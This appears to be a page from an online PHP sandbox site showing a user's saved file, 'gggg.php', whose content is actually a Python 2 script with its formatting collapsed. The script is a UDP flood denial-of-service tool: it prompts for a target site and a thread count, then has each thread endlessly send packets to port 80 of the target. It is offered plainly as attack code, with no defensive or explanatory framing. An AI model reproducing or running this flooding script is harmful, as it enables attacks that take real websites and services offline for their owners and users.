gggg - PHP Online
Form of PHP Sandbox
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of gggg.php
- import time
- import socket
- import sys
- import thread site = raw_input("Enter your site url => ") thread_count = input("Enter your thread => ") ip = socket.gethostbyname(site) UDP_PORT = 80 MESSAGE = "ViRus32" print "UDP target IP:", ip print "UDP target port:", UDP_PORT time.sleep(3) def dos(i): while True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(MESSAGE, (ip, UDP_PORT)) print "Packet Sent" for i in xrange(thread_count): try: thread.start_new_thread( dos , ("Thread-"+str(i),) ) except KeyboardInterrupt: sys.exit(0) while 1: pass